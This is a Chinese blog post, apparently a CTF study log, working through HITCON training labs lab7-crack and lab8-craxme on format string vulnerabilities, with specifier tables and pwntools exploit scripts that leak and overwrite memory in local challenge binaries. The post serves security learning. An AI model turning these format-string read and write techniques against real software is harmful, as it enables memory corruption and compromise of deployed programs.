Pwn-10月26-Hitcon-四

Posted yof3ng

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Pwn-10月26-Hitcon-四相关的知识,希望对你有一定的参考价值。

目录

Pwn-10月26-Hitcon-四

练习Hitcon的第四天??,愉快地学习fsb(Format string bug),格式化字符串漏洞。

lab7-crack

好??,这题开始接触格式化字符串漏洞。

什么是格式化字符串漏洞?我们知道c/c++中printf函数输出值需要对应的参数,但当提供的参数出现问题,或者没有提供参数的时候,格式化字符串漏洞就可能出现了。CTF-wiki传送门

那么假设,此时我们在编写程序时候,写成了下面的样子

printf("Color %s, Number %d, Float %4.2f");

此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为

  1. 解析其地址对应的字符串
  2. 解析其内容对应的整形值
  3. 解析其内容对应的浮点值

由此可见格式化字符串漏洞主要是:

  • 1.泄漏任意地址的值,leak内存(比如leak出libc基地址)

  • 2.写任意地址,可用于修改got表

这部分来自icemakr的博客 ==>向大佬致敬

32位

读

'%{}$x'.format(index)           // 读4个字节
'%{}$p'.format(index)           // 同上面
'${}$s'.format(index)
写

'%{}$n'.format(index)           // 解引用,写入四个字节
'%{}$hn'.format(index)          // 解引用,写入两个字节
'%{}$hhn'.format(index)         // 解引用,写入一个字节
'%{}$lln'.format(index)         // 解引用,写入八个字节
64位

读

'%{}$x'.format(index, num)      // 读4个字节
'%{}$lx'.format(index, num)     // 读8个字节
'%{}$p'.format(index)           // 读8个字节
'${}$s'.format(index)
写

'%{}$n'.format(index)           // 解引用,写入四个字节
'%{}$hn'.format(index)          // 解引用,写入两个字节
'%{}$hhn'.format(index)         // 解引用,写入一个字节
'%{}$lln'.format(index)         // 解引用,写入八个字节
%1$lx: RSI
%2$lx: RDX
%3$lx: RCX
%4$lx: R8
%5$lx: R9
%6$lx: 栈上的第一个QWORD

检查保护措施

按套路来,先checksec crack:

技术分享图片

可以看到开启了栈溢出保护(canary found),以及栈不可执行(NX)措施,很明显让我们从别处入手。

简单运行一下:

技术分享图片

我们需要输入两个值,一个是name,输入之后会被打印,一个是password。

m4x师傅的逻辑:输出 name 时有明显的格式化字符串漏洞,这个题的思路有很多,可以利用 fsb 改写 password,或者 leak 出 password,也可以直接通过 fsb,hijack puts_got 到 system(“cat flag”) 处(注意这里 printf 实际调用了 puts)

逻辑分析

idapro启动!!启动!!给我启动啊!!??!main函数:

技术分享图片

exp1:通过格式化字符串漏洞泄露password

技术分享图片

简单测试一下我们可以看到一些有趣的东西,这些应该是printf栈中的数据,那么我们只要找到栈中存储我们输入的内容的位置,假如输入的是某地址,再用%s解析就可获得该地址下的内容:

技术分享图片

技术分享图片

可以看到输入的内容在栈中的第十个位置,这里学到一个小知识,%10$s中格式化字符串的“$”操作符,其允许我们从格式化字符串中选取一个位置的参数作为特定的参数。我们可以从IDA中得到password_addr=0x804A080,然后构造EXP。

#coding:utf-8

from pwn import *
from libnum import n2s
context.log_level = "debug"

io = process('./crack')

pwd_addr= 0x804A048

io.recvuntil(' ?')
io.sendline(p32(pwd_addr) + "|%10$x||")

io.recvuntil('|')
#drop = True 表示丢弃pattern,不接受pattern
pwd = str(u32(io.recvuntil('||',drop = True)))
io.sendlineafter(" :",pwd)
io.interactive()
io.close()

运行效果:

技术分享图片

exp2:修改随机数

简单了解fmtstr之后,知道原来还有这么骚的pwntools模块,这里简单对这个exp做个分析理解。

#来自Veritas501大佬的exp
from pwn import *
context.log_level = 'debug'
cn = process('./crack')
p_pwd = 0x0804A048
fmt_len = 10
cn.recv()
pay = fmtstr_payload(fmt_len,{p_pwd:1})
cn.sendline(pay)
cn.recv()
cn.sendline('1')
cn.recv()
cn.recv()

运行效果:

技术分享图片

lab8-craxme

这也是一题格式化字符串漏洞??,我们可以直接通过类似上面题exp2的方式来修改值达到目的。

检查保护措施

checksec craxme:

技术分享图片

可以看到几乎所有保护措施都打开,无法通过栈溢出或者栈执行等漏洞进行攻击。

逻辑分析

像lab7一样,我们可以在ida里面看到有格式化字符串漏洞:

技术分享图片

我们可以运行一下试试

技术分享图片

可以看到在printf函数栈中第七个位置是我们输入的内容,那么我们就可利用pwntools的fmtstr_payload来改变magic的值。

通过ida找到magic的地址:

技术分享图片

通过Pwntools.ELF:

技术分享图片

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
context.log_level = "debug"

magicAddr = ELF("./craxme").sym["magic"]
inputs = int(input("[+]1.flag
[+]2.craxflag
input:"))
if inputs == 1:
    payload = fmtstr_payload(7, {magicAddr: 0xda})
else:
    payload = fmtstr_payload(7, {magicAddr: 0xfaceb00c})

io = process("./craxme")
io.sendlineafter(" :", payload)
io.interactive()
io.close()

运行效果:

技术分享图片

今天的格式化字符串漏洞就学到这儿啦,难受??。

以上是关于Pwn-10月26-Hitcon-四的主要内容,如果未能解决你的问题,请参考以下文章

Pwn-10月31-Hitcon-五

实验四代码评审

验证码逆向专栏极验三代四代点选类验证码逆向分析

验证码逆向专栏某验四代文字点选验证码逆向分析

验证码逆向专栏某验四代消消乐验证码逆向分析

阿里云发布第四代神龙架构,提供业界首个大规模弹性RDMA加速能力